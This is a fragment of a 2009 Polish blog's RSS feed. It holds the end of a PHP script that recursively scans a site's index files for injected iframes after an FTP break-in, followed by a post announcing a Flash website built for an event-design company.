			<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$dir</span>/<span style="color: #006699; font-weight: bold;">$plik</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$plik</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">!=</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
				<span style="color: #666666; font-style: italic;">//$data = date(&quot;Y-m-d&quot;, filemtime($path));</span>
				<span style="color: #666666; font-style: italic;">//$prawa = decoct(fileperms($path));</span>
&nbsp;
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
					<span style="color: #666666; font-style: italic;">//$rozmiar = filesize($path);</span>
					<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/index/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$plik</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
						<span style="color: #000088;">$contents</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
						<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/iframe/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$contents</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;znaleziono iframe w <span style="color: #006699; font-weight: bold;">$path</span>&lt;br/&gt;&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #009900;">&#125;</span>
				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
					digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #339933;">,</span> <span style="color: #000088;">$level</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>			
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>strona www uhers event design:projekt wykonany</title>
		<link>http://nobigwords.ntxt.net/2009/03/14/strona-www-uhers-event-designprojekt-wykonany/</link>
		<comments>http://nobigwords.ntxt.net/2009/03/14/strona-www-uhers-event-designprojekt-wykonany/#comments</comments>
		<pubDate>Sat, 14 Mar 2009 10:48:19 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[actionscript]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[eventy]]></category>
		<category><![CDATA[imprezy]]></category>
		<category><![CDATA[nowa strona]]></category>
		<category><![CDATA[praca]]></category>
		<category><![CDATA[projekt]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[szkolenia]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[wyjazdy]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=108</guid>
		<description><![CDATA[W sumie już jakiś czas temu, ale nie było czasu zanotować :) Stronka 100% flashowa, z całą świadomością że eremici lynxa pogardzają takimi rozwiązaniami. Ludzie z Uhers Event Design zajmują się tzw. eventami, czyli organizacją rzeczy dookoła marketingu, motywacji, szkoleń, itd. Inspiracją była pokazana przez Artura Uchera strona ruchu na rzecz ugandyjskich dzieci, na tej [...]]]></description>
			<content:encoded><![CDATA[<p>W sumie już jakiś czas temu, ale nie było czasu zanotować :) Stronka 100% flashowa, z całą świadomością że eremici lynxa pogardzają takimi rozwiązaniami. Ludzie z Uhers Event Design zajmują się tzw. eventami, czyli organizacją <a title="organizacja eventów, imprezy firmowe, szkolenia" href="http://uhers.pl" target="_blank">rzeczy dookoła marketingu, motywacji, szkoleń, itd.</a> Inspiracją była pokazana przez Artura Uchera strona <a href="http://www.invisiblechildren.com/displaceMe/">ruchu na rzecz ugandyjskich dzieci</a>, na tej kanwie zrobiliśmy broszurę, teraz stronę. Oba projekty dużo zawdzięczają zaangażowaniu Klienta, no i <a href="http://gettyimages.pl/">Getty Images</a> &mdash; dzięki nim mogliśmy użyć fajnych fotek, choć kilka pochodzi też z <a href="http://fotolia.com">fotolia.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/03/14/strona-www-uhers-event-designprojekt-wykonany/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

